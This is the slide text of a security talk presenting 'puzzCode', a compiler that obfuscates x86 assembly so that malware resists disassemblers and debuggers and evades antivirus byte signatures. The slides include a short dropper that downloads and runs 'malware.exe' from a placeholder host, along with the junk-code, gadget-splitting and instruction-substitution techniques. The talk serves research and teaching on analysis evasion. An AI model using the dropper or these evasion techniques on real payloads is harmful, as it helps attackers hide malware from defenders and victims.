Slide 1

Slide 1 text

puzzCode: Make Backdoors Great Again! aaaddress1@chroot.org

Slide 2

Slide 2 text

Here's the 2 main points of this presentation

Slide 3

Slide 3 text

1. How to defend malware against analysis 2. How to bypass malware signature Here's the 2 main points of this presentation

Slide 4

Slide 4 text

How is a malware made?

Slide 5

Slide 5 text

#include #include #pragma comment(lib, "urlmon.lib") int main(int argc, char* argv[]) { URLDownloadToFileA ( NULL, "http://hack.com/?file=malware.exe", "malware.exe", 0, NULL ); system("malware.exe"); return 0; } dropper.c

Slide 6

Slide 6 text

; int __cdecl main(int argc, const char **argv, const char **envp) push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALLBACK push 0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com/?file=malware.exe" push 0 ; LPUNKNOWN call URLDownloadToFileA push offset command ; "malware.exe" call _system add esp, 4 xor eax, eax pop ebp retn dropper.asm

Slide 7

Slide 7 text

; int __cdecl main(int argc, const char **argv, const char **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 push 0x406060 // 68 60 60 40 00 call _system // E8 07 00 00 00 add esp, 4 // 83 C4 04 xor eax, eax // 33 C0 pop ebp // 5D retn // C3 dropper.asm → Native Code

Slide 8

Slide 8 text

dropper.asm → Native Code →exe DOS Program ⋯⋯ HT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... ; int __cdecl main(int argc, const char **argv, const char **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 ...

Slide 9

Slide 9 text

What Reseachers Can Do, DOS Program ⋯⋯ NT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... If They Get A EXE File like This?

Slide 10

Slide 10 text

How Researcher Analyze A Malware?

Slide 11

Slide 11 text

1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi: www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?

Slide 12

Slide 12 text

1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi: www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?

Slide 13

Slide 13 text

Question 1) How Does Static Analysis Tools Work?

Slide 14

Slide 14 text

How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file

Slide 15

Slide 15 text

push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALL push 0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com push 0 ; LPUNKNOWN How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file And transform opcodes into assembly instructions

Slide 16

Slide 16 text

Calling Convention int callee(int, int, int); int caller(void) { return callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions

Slide 17

Slide 17 text

Calling Convention int callee(int, int, int); int caller(void) { return callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions Compiler Should follow C/C++ Calling Convention to Generate Assembly Instructions!

Slide 18

Slide 18 text

Calling Convention int callee(int, int, int); int caller(void) { return callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions therefore, it's easy for analysis tools, just follow calling convention, and turn it back to C/C++ codes, ...Right?

Slide 19

Slide 19 text

Calling Convention int callee(int, int, int); int caller(void) { return callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions If Hackers Call a function, but they don't want to follow calling convention syntax? :P

Slide 20

Slide 20 text

msgbox.c IDA Pro #include const char *lptext = "hi there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } //MessageBoxA(0, lptext, lptitl, 0); return 0; }

Slide 21

Slide 21 text

msgbox.c IDA Pro #include const char *lptext = "hi there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } return 0; }

Slide 22

Slide 22 text

msgbox.c IDA Pro int main() { __asm { push 0 call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...

Slide 23

Slide 23 text

msgbox.c IDA Pro int main() { __asm { push 0 call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...

Slide 24

Slide 24 text

- Pack each instructions into new function-like gadgets - Breaking each function call syntax into countless pieces - Insert some useless codes into original instrctions 1. nop 2. lodsb 3. mov edi, edi ...etc - Turn Original Instrctions into Similar Codes Set 4. mov eax, ebx => push ebx; pop eax 5. push 0 => sub esp, 4; mov [esp], 0 6. sub esp, 4 => lea esp, [esp-4] Core Idea

Slide 25

Slide 25 text

Question 2) How to bypass Malware Signature Check?

Slide 26

Slide 26 text

./shellBlog.c #include void malFunc(void) { char malData[] = "explorer http://30cm.tw"; system(malData); /* display my blog :P */ } int main(void) { malFunc(); }

Slide 27

Slide 27 text

./shellBlog.c .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " .text:0040161B mov [ebp - 0x14], 0x2F2F3A70 // "//:p" .text:00401622 mov [ebp - 0x10], 0x6D633033 // "mc03" .text:00401629 mov [ebp - 0x0C], 0x0077742E // "wt." .text:00401630 lea eax, [ebp - 0x20] .text:00401633 mov [esp], eax ; Command .text:00401636 call system .text:0040163C leave .text:0040163D retn

Slide 28

Slide 28 text

./shellBlog.exe MicroSoft Protable Executable File (*.exe)

Slide 29

Slide 29 text

./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯

Slide 30

Slide 30 text

./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc 55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "

Slide 31

Slide 31 text

./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc 55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " bool chkVirus(PBYTE mem) { /* 55 - push ebp 8b ec - mov ebp, esp 81 EC 38 00 00 00 - sub esp,00000038 */ char Signature[] = "\x55\x8B\xEC\x81\xEC\x38\x00"; return !strncmp((char *)mem+offset, Signature, 7); }

Slide 32

Slide 32 text

⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk

Slide 33

Slide 33 text

⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk If malicious function of the same source code change every time after compiled, it'll be a big challenge for nowadays Anti-Virus :)

Slide 34

Slide 34 text

puzzCode: A Compiler Designed to Build Your Backdoors!

Slide 35

Slide 35 text

General Compiler Source.cpp Object Files Main.exe Compiler Assembly Codes Assembler Linker

Slide 36

Slide 36 text

puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler Linker

Slide 37

Slide 37 text

puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler Linker Scanning Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... Get Functions of those Codes

Slide 38

Slide 38 text

Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } __asm { push 0 call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } Obfuscate Spatially

Slide 39

Slide 39 text

Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 nop push lptitl lodsb push lptext mov edi, edi push 0 call MessageBoxA } __asm { push 0 nop call func_00; ret func_00: lodsb add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext mov edi, edi call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA Obfuscate with Junk Codes

Slide 40

Slide 40 text

Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { sub esp, 4 mov [esp], 0 push lptitl push lptext sub esp, 4 mov [esp], 0 call MessageBoxA } Obfuscate with Similar Instructions __asm { lea esp, [esp-0x10] mov [esp+0x0c], 0 mov [esp+0x08], lptitl mov [esp+0x04], lptext mov [esp+0x00], 0 push retn push MessageBoxA ret retn: }

Slide 41

Slide 41 text

puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler Linker Assembly Codes Confused

Slide 42

Slide 42 text

puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes MinGW Assembler Linker Assembly Codes Confused

Slide 43

Slide 43 text

puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes MinGW Assembler MinGW Linker Assembly Codes Confused

Slide 44

Slide 44 text

puzzCode

Slide 45

Slide 45 text

puzzCode

Slide 46

Slide 46 text

puzzCode (Clear)

Slide 47

Slide 47 text

puzzCode (Confused)

Slide 48

Slide 48 text

puzzCode (x64 Debugger)

Slide 49

Slide 49 text

puzzCode

Slide 50

Slide 50 text

puzzCode (Snowman)

Slide 51

Slide 51 text

puzzCode

Slide 52

Slide 52 text

puzzCode You Can Compile different *.exe With the same source codes

Slide 53

Slide 53 text

Thanks! aaaddress1@chroot.org @aaaddress1 Project PuzzCode Slides